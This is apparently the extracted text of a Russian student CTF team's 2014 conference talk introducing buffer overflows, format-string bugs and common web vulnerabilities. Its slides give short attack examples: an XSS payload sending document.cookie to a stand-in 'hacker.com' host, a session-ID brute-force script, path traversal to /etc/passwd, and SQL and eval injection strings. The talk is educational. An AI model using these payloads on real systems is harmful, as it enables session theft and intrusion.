44
Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Embed Size (px)

DESCRIPTION

В рамках одного доклада мы расскажем, во первых, про наиболее популярные уязвимости веб-приложений. Также мы расскажем про такие классические вещи, как переполнение буфера (на стеке (stack) и на куче (heap), атаки на формат строки и не только. Многие про это слышали, но не многие знают, как этим может воспользоваться злоумышленник. Будет рассмотрена эксплуатация описанных уязвимостей без достаточной информации о приложении, принципы работы и написания шеллкода. Будут функционировать два стенда, где все желающие могут попробовать свои силы и почувствовать себя настоящими хакерами. Доклад будет интересен студентам и молодым разработчикам.

Citation preview

Page 1: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от

них избавиться

Page 2: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Кто мы вообще такие?Мы – команда молодых специалистов по информационной безопасности CTRL-PNZ. Студенты и выпускники кафедры «Информационная безопасность систем и технологий» ПГУ

Нас объединяет игра в CTF, уже второй год мы организуем собственные мероприятия IBSTPSU CTF.

Зачем?

Чтобы все желающие повышали свой уровень, чтобы студенты и школьники сталкивались с практическими аспектами информационной безопасности в прикольной и доступной форме.

Кафедра «Информационная безопасность систем и технологий»

Пензенский государственный университет

Page 3: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Ctrl - PNZ

Page 4: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Первый этап – отборочный, в стиле Task-based CTF и

проводится по сети Интернет.

Команды решают задания, разбитые по различным категориям, и

получают за них баллы. Чаще всего это:

Администрирование;

Криптография;

Стеганография;

Раскрытие компьютерных преступлений;

Программирование;

Задачи на веб-технологии;

И многое, многое другое…

CTF - это командные соревнования, целью которых является оценка умения участников атаковать и защищать компьютерные системы.

В США и Европе в CTF играют давно, в России с 2006 года. Но сейчас CTF набирает обороты и в России. И это круто!

Это законный способ учиться компьютерной безопасности не только в теории, но и на практике, причем делать это

еще и играя!  

Финал проводится в ПГУ, в стиле Classic CTF. Это непосредственное

противоборство участников, имеющих одинаковый набор систем

и сервисов.

Задачи участников «классического» CTF:

Поддерживать работоспособность сервисов, которая периодически

проверяется жюри;

Устранять уязвимости на своем сервере;

Эксплуатировать уязвимости, найденные на серверах противника;

Делать описания найденных уязвимостей, способов их эксплуатации и

устранения.

Page 5: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Причины появления уязвимостей или «откуда растут ноги»

• Недостаточное знание безопасных методов программирования

разработчиками

• Ошибки проектирования и «ляпы» при разработке

• Банальная лень и невнимательность

*Уязвимость - недостаток в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу.

Не ошибается то, что не работает. (c) Windows

Никакое программное обеспечение небезопасно! Даже если своевременно устанавливать свежие заплатки, всегда существует риск, что злоумышленник найдет новую дыру, о которой еще никто не знает, и с успехом воспользуется ею. ©Крис Касперски

Page 6: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Чем мы займемся сейчас?• «Вкратце о наболевшем»Переполнение буфера на стеке и на куче, атаки форматной строки и другие непонятные вещи в доступной форме.

Рубцов Ян, капитан команды Ctrl-PNZ

• «Web в опасности!»Подробное описание популярных уязвимостей веб-приложений. С примерами!

Гринзовский Илья, специалист по WEB-технологиям

А еще на первом этаже сразу напротив входа стоят наши стенды =)

Их можно и даже нужно потрогать руками!

Page 7: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Вкратце о наболевшем

Рубцов ЯнКоманда Ctrl-PNZ, ПГУ

Page 8: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

О докладчике• Участник различных CTF (Capture The Flag), капитан команды

CTRL-PNZ• Разработчик заданий IBST PSU CTF 2013, 2014• Разработчик системы проведения IBST PSU CTF 2014• Занимаюсь «понемногу всем подряд», прямо сейчас отдуваюсь за

одного из членов команды

Page 9: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Что вообще такое переполнение буфера?

Буфер – это некая область памяти.Переполнение возникает при попытке запихать в буфер больше данных, чем он может принять.

Индексное переполнение при чтении =>

seq_write(char *p){ char buff[8]; ... strcpy(buff, p);}

idx_write(int i){ char buff[]="0123456789"; ... return buff[i];}

Page 10: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Чем оно грозит?• Запись в произвольные ячейки памяти• Передача управления по произвольным

адресам• Раскрытие или навязывание конфиденциальной

информации• Атака на логику работы программы (отладочные

люки, флаги, индексы и прочие плюшки от разработчика)• Атака «отказ в обслуживании»

=>=>исполнение shell-кода => PROFIT! =>

Page 11: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Перечислим? #1Атака на скалярные переменные

При атаке до вызова strlen переменная b может быть затерта и цикл выйдет за пределы src и dst

f(char *dst, char *src){

char buf[xxx]; int a; int b;...b = strlen(src);...for (a = 0; a < b; a++)

*dst++ = *src++;

f(char *psswd){

char buf[MAX_BUF_SIZE]; int auth_flag = PASSWORD_NEEDED;printf("скажи пароль:"); gets(buf);if (auth_flag != PASSWORD_NEEDED)

return PASSWORD_OK;return strcmp(passwd, buf);

}

©Крис Касперски aka мыщъх

Page 12: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Атака на индексы

Целочисленное переполнение

Перечислим? #2Атака типа «POKE»

Атака типа «PEEK»

f(){ char buf[MAX_BUF_SIZE]; int a; int *b; ... gets(buf); ... *b = a;}

f(){ char buf[MAX_BUF_SIZE]; int *b; ... gets(buf); ... printf("%x\n", *b);}

©Крис Касперски aka мыщъх

f(){ int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a;}

f(){ int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a;}

Page 13: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Она упала!

Unused_function(){

….return;

}

main(){

buf_1[16];buf_2[16];gets(buf_1);gets(buf_2);….

//здесь должна быть логика, но на это нет денег =(….return;

}

Page 14: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Какой буфер?• На стеке (автоматическая память)

• На куче (динамическая память)

• В сегменте данных (WTF?!)

Page 15: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

О чем НЕ пойдет речь• Про неисполняемый стек• Про особенности работы некоторых компиляторов (далеко не

всегда спасают)• NIX-срачи

VirtualProtect, VirtualAlloc и т.п. + говнокод =

Page 16: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Все не так уж и плохо?• Ограничения на ввод в строковых буферах• Размер переполняющихся буферов слишком мал• Все по-разному на разных ОС• Адреса непостоянны• Поиск и эксплуатация - сложная штука

Page 17: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Все хорошо? Нет.• Нет методик автоматического обнаружения и ликвидации

• Борьба с возможным переполнением = потеря производительности

• Системы обнаружения вторжений и межсетевые экраны – не панацея

Page 18: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

А вы уже забыли про форматный ввод? int cpt1 = 0;

int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2;

printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2);>>./program AAAAAAAAcpt1 = 0cpt2 = 0>>./program AAAA%1\$nAAAAcpt1 = 0cpt2 = 4>>./program AAAA%2\$nAAAAcpt1 = 4cpt2 = 0

Количество символов в строке формата до спецификатора %n сохраняется в переменной (int), адрес которой идет следующим аргументом. Никакие аргументы не конвертируются. ©man

Page 19: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Немного бла-бла-бла или я не стал делать слайд

Page 20: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Немного жесткого shitcode или исходники стенда

memset(buffer,0x0,ANSWER_SIZE);memset(answerBuffer,0x0,ANSWER_SIZE);

memcpy(answerBuffer + BUFFER_SIZE,"fuck yeah!",sizeof("fuck yeah!"));recived = recv(client.acceptSocket,buffer,ANSWER_SIZE-1,0);

memcpy(answerBuffer,buffer,ANSWER_SIZE > strlen(buffer)-1 ? strlen(buffer)-1 : ANSWER_SIZE-2);memcpy(answerBuffer+strlen(answerBuffer),"\n",strlen("\n"));

send(client.acceptSocket,answerBuffer,(int)strlen(answerBuffer),0);

Несложно догадаться, что при #define BUFFER_SIZE 16#define ANSWER_SIZE 64искомая строка fuck yeah! отдается при вводе всего лишь 123456789012345 а потом начинает «затираться»

Page 21: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Web в опасности!

Гринзовский ИльяКоманда Ctrl-PNZ, ПГУ

Page 22: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Обо мне• Участник различных CTF (Capture The Flag)• Разработчик заданий IBST PSU CTF 2013, 2014• Web-разработчик

Page 23: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

С безопасностью в вебе все очень плохо…

…или почти все

Page 24: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Злоупотребление функциональностью

Использование приложения злоумышленником для атак на пользователей приложения, другие сервисы

и ресурсы

Page 25: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Brute force

Отправка запросов от имени легитимного пользователя, получение

дополнительной информации о приложении, выполнение

неавторизованных действий

Page 26: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Переполнение буфера

Злоумышленник может управлять процессом, «вешать» процесс,

перезаписывать внутренние переменные и выполнять действия от

имени процесса

Page 27: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Подмена контента

Получение данных пользователя, выполнение на стороне клиента

произвольного кода

Page 28: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

URL: http://example.com/news.php?title=Введите%20свой%20логин%20и%20пароль&link=http://evilsite.com/spoofed.html

CODE:<h1><?=$_GET['title'];?></h1><iframe src="<?=$_GET['link'];?>"></iframe>

RESULT:<h1>Введите свой логин и пароль</h1><iframe src="http://evilsite.com/spoofed.html"></iframe>

Page 29: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Предсказуемое значение сессии

Создание запросов к приложению с правами скомпрометированного

пользователя

Page 30: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

PHP:$session_id = ‘AD33300002820’ . $userId;OR$session_id = md5($username);

Python:session_id = str(random.randint(2000, 4000))ORsha1 = hashlib.sha1(username + str(random.randint(0, 50000)))access_code = sha1.hexdigest()

Page 31: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Exploit examples = requests.Session()url = 'http://victim.com/profile'

for x in range(0, 50000): session_id = hashlib.sha1('username' + str(x)).hexdigest() c = dict(id=session_id) r = s.get(url, cookies=c)

if r.status_code == 200: print session_id

Page 32: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Cross-site Scripting

Выполнение на стороне клиента произвольного кода

Page 33: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

XSS in action

<?php// Отправка сообщение$msg = $_POST['msg_text'];$receiver_id = intval($_POST['receiver_id']);$sender_id = $current_user['id'];$db->insert(array( 'msg' => $msg, 'receiver_id' => $receiver_id, 'sender_id' => $sender_id));?>

<?php// Просмотр сообщения$msg = get_msg($msg_id);?><div> <p><?=$msg['msg']?></p></div>

Page 34: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

XSS in actionHacker’s request:example.com/send.phpPOST DATA: msg_text=<script>window.location=‘http://hacker.com/sniff?’+document.cookie</script>&receiver_id=372324

Receiver side:<div><p><script>window.location=‘http://hacker.com/sniff?’+document.cookie</script></p></div>

Page 35: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Fingerprinting

Получение подробной информации о конфигурации приложения

Page 36: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Fingerprinting in nature

Page 37: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Отказ в обслуживании

Отказ одной или нескольких подсистем приложения для 1, 2, …, всех

пользователей

Page 38: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Предсказуемое расположение ресурсов

Выполнение неавторизованных действий, получение

неавторизованного доступа к различным файлам

Page 39: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Remote/Local File inclusion

Исполнение произвольного кода на стороне сервера, выполнение кода на

стороне клиента

Page 40: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Local File InclusionCode:<?phpinclude(‘../templates/’ . $_GET[‘template’]);?>

Hacker’s request:http://site.com?page.php?template=../../../../../../etc/passwdORhttp://site.com?page.php?template=../images/shell.jpg

Page 41: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Инъекции (внедрение кода)

Исполнение произвольного кода на стороне сервера, чтение, запись файлов, выполнение команд ОС

Page 42: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

PHP CODE: $query = ‘SELECT title, text FROM pages WHERE id = ’ . $_GET[‘id’];Exploit: http://site.com/?id=-1 union select login, password FROM users limit 2,1

NodeJS CODE: var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })");Hacker’s Login: root'})//Hacker’s Password: 23423Result:({ login: 'root'})//', password: '23423' })db.users.findOne({ login: 'root' })

Page 43: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

*данные Positive Technologies

Page 44: SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

Вопросы?